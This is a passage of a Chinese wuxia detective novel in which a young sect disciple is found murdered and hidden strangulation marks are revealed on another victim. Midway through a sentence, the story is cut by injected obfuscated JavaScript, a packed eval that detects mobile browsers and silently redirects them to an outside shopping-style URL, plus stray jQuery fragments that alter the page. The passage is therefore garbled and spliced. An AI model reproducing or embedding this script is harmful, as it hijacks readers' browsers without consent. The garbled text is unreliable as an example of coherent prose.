发现吕松年尸体后,芙林山庄护卫便在遗音轩里外布岗巡逻。
原来是一名护卫搜寻之际,在院侧耳房层层堆叠的杂物缝隙之中,看见一小片血迹。几个人七手八脚搬开那些杂物之后,却发现有一人倒在地上,那人侧身蜷缩着,像被硬塞进来,脖颈处有一道又细又长又深的伤口,皮肉微微外翻,涌出的鲜血把整个贴身衣领都浸透了,周围大部分血渍已经干涸,只有少许还在流动。
“看他装束,好像,是黄沙堡的弟子!”有人喊了一声。
“快叫庄主他们过来。”
玉鸣钟一行已然疾步走了过来,黄沙堡堡主霍骁看到那具尸体,高大的身形一晃,差点腿脚一软踉跄跪倒,好不容易稳住后却又当场扑上前去痛哭道:“烈儿!”
玉鸣钟脚步顿住神色一僵,他下意识地转头,与身后的玉琰之交换了一个眼神。
霍骁哭嚎一阵,随即拔刀怒吼:“妙理城!难道那些妖人杀了风掌门和吕掌门还不够,连我黄沙堡的一个小徒儿也不放过!有种冲着我来,冲着我霍骁来啊!”
“昨晚上方师弟还跟我们同桌吃饭,我只当他今早上还没起床,怎么会……”黄沙堡弟子们既震惊又伤心,“我早该想到,他向来勤勉,不会睡到那么晚的……”
“定是方师弟撞见了他们行凶,被灭口了!”
“真是其心可诛。”
此刻诸门派皆已听闻吕松年遇害的消息,几乎全部赶了过来,挤满了这萧瑟荒僻的院落。
江檐闻声,赶忙拨开人群往耳房那挤了过去。
地上的尸体正是昨日丧礼后还与他并肩而行的方烈。
“方师弟。”江檐只觉耳中嗡嗡作响,周遭喧哗忽远忽近,他对这位小师弟颇有好感,见他此刻毫无生气地躺倒在地上,突然悲从中来。
他与方烈相交虽不过寥寥数次,可这黄沙堡的小师弟性子温厚,待人赤诚,从无害人之心,也不懂防人之心,这样的人本不该死。
沉默了好一会儿,江檐又语带痛惜:“方师弟他有什么错处,他不过一个晚辈弟子,杀他又有什么用。杀人者当真是恶贯满盈!”
他意有所指,越过人群冷冷睨了玉鸣钟一眼,却见对方紧皱眉头,眼底满是错愕,好像此事也出乎他意料之外,他甚至没有察觉这道视线,正侧着头与身边的玉琰之低声说着什么,父子俩的表情是相似的茫然。
众人只当江檐这句“恶贯满盈”说的是妙理城,纷纷出声附和。
“连一个未及冠的小弟子都下得去手,妙理城不灭,我武林永无宁日!”
“霍堡主节哀,我等必为方师弟讨还血债!”
江檐收回目光不再开口,心中疑窦丛生。
方烈为什么会死在遗音轩?
似乎最合理的解释是玉鸣钟那边杀了吕松年,正巧被方烈撞见,所以情急之下杀人灭口。
那么方烈又为何要独自来到这荒僻之地?
他将目光再次投向玉鸣钟,他神情略微平复,但仍能看出面上的惊疑之色,好像这件事他真的毫不知情。
不知道是玉庄主演技太好,还是动手灭口的人还没来得及向他禀告,或者是真的并非他们干的。
江檐打算今日散去后再抽空细细盘问一番。
霍骁已经解下自己的外袍,颤抖着盖在方烈身上。
薛书肃刚从主屋走过来,经过江檐身旁时顺势扶了他一把,瞥了一眼这边的现场,方烈的伤口平直齐整,一眼望去,只似被极其锋利的兵刃割伤。
他也有许多疑惑在心:怎么凶手杀吕掌门时费尽心思布下自缢假象,处处用心,手法缜密。杀方师弟如此草草了事,这里既然人迹罕至,又是大晚上,为什么不干脆把尸体拖出去埋了,或者至少藏得更隐蔽些,却如此随意地拿杂物一堆?是因为时间仓促来不及收拾,还是他根本不在乎这具尸体是否会被发现?
“方师弟为何会到这里,黄沙堡师兄们可有头绪?”薛书肃问道。
黄沙堡有人回道:“我们也不知道。只是小师弟一向好奇心重,又是头一回来芙林山庄,兴许是四处闲逛,误打误撞走到了这里。”
薛书肃还没来得及再细思,忽听主屋里安静下来,围着吕松年的尸身的金城派弟子痛哭之声突然停歇,然后有人叫道:“薛少宗主,你快来看看。”
众人又随他折回主屋,只见金城派弟子指着吕松年脖颈上伤痕处,惊道:“薛少宗主你快看,这勒痕变了!”
一看之下,果然如他所说,尸身开始出现尸斑,颈部皮肤淤血处,似乎还有另一道痕迹浮现,只是这痕迹偏淡,混在颈部青紫肤色里极难被发现。
“快去那些热酒糟来。”薛书肃吩咐道。
没有人动弹,金城派弟子欲听他的,却不知何处去取。
“薛贤侄,此刻拿这个做什么。”玉鸣钟皱眉有些不悦。
江檐立在薛书肃身后不远道:“古书籍中有载,凡伤痕隐匿不显者,以热糟敷之,僵处得暖,气血回行,痕即现也。”
“玉庄主可有不便?”
“玉庄主,请为我师傅做主。”金城派弟子赶忙上前。
话说到这个份上,玉鸣钟无法推脱,只得唤了仆役去取。
不多时,酒糟端了上来,薛书肃亲自将其均匀敷在吕松年颈间那道白绫勒痕周围,又以软布覆好,静置片刻。
待取下软布擦去酒糟,他借着窗口涌进的天光细看,果然在那白绫勒痕之下,逐渐显现出另一道清晰的掐痕。
众人都凑上前去查看,只见有五指扼痕清晰可辨,且大拇指在右,显然是左手所致。
“难道凶手是个左撇子?”
“我们该查验这山庄所有人,有哪些是左撇子,昨夜都在做什么,那就是妙理城的奸细了!”
“不能这么说,在座人人都是武林高手,左手发力未必不如普通人的右手。”
听得他们这些话,薛书肃点点头,又细看那掐痕,只见那五指痕迹力道深浅均匀,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555519|203948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而指腹之处印痕格外深实,边缘规整,分明是那里生有厚实老茧,所以在用力之下才格外显眼。
他指着那指印道:“你们看这痕迹,此人左手指上,必定长着长年累月磨出的老茧。”
“那是个常年用左手拿兵器的高手了?”有人道。
院子里一阵骚动,众人当即回想,目光先扫向各派掌门,只是大部分人惯用右手,并无纯粹左手使刀剑之人,除了使流星锤的烈火堂,还有使双刀的凌风谷,常年会用到左手。
于是烈火堂堂主陆炎和凌风谷谷主天玄道人收到了一片猜疑的目光。陆炎面色涨红,连声辩白称门下必不可能有叛徒,又扯过身边几名弟子逐一伸开手掌让众人查验,而烈火堂弟子俱是身材魁梧的汉子,明显手指粗壮许多,而那掐痕的指印却偏纤细修长。
天玄道人倒是沉得住气,他见薛书肃好像话还未完,只冷哼一声没有动作等他定论。
薛书肃暂时没有说话,他径直走向耳房那边,走向了在方烈尸体旁边沉默许久的霍骁。
众人自发为薛书肃让出道来,黄沙堡弟子皆对他拱手作揖。
江檐见此情状,俨然这薛少主在这些人心中已是威信名声日益增长,越来越招人待见。
“霍堡主,晚辈可否再看一眼方师弟的遗体?”
霍骁抬起袖子抹了把脸,让到一旁也作了一揖道:“薛少宗主请,但凡有什么发现,能助我早日为烈儿报仇,我霍骁此生欠你一个大人情,日后若有需要,我们黄沙堡任凭驱策!”
薛书肃缓步走到方烈的尸体旁,蹲下身,用手触了触他颈部的伤口,然后又微微侧头,鼻尖在距离方烈衣领一寸的地方轻轻嗅了嗅。
“方师弟昨日丧礼回去之后可有见过什么人吗?”他站起身,问向黄沙堡众人。
“方师弟从丧礼回来,就一直待在落沙阁里,走动也都是在阁中,晚饭也是和我们同桌吃的,中间除了本门师兄弟,应该没有旁人。”答话的弟子犹豫了一下,“饭后他便自己回房了,之后……便再没人见过他。”
薛书肃环顾院内各派人士,朗声又问了一遍:“在座诸位可有人昨夜见过方师弟?”
院内诸派面面相觑安静了片刻,无人应答。薛书肃的目光从一张张面孔上掠过,最后停在风篁院那边。柳月白站在残灯师太身后,一身素衣,面色苍白,似有病容。
薛书肃径直走了过去:“柳师姐,你昨日见过方师弟吗?”
风篁院弟子齐齐变了脸色。
她们昨日在泠风榭还以茶饭招待薛书肃和江檐,相谈甚欢,今日这位薛少宗主在此情此景下走过来问话,大有不善之意。
“能否让我看看你的手?”薛书肃又道。
“你……薛少宗主这是什么意思?”一名年纪尚小的弟子已按捺不住,挺身挡在柳月白身前。
“柳师姐昨天从丧礼回来后就旧疾复发身子不适,薛少宗主你明明知道的,是我们帮师姐用了药,亲眼看着她休息的。”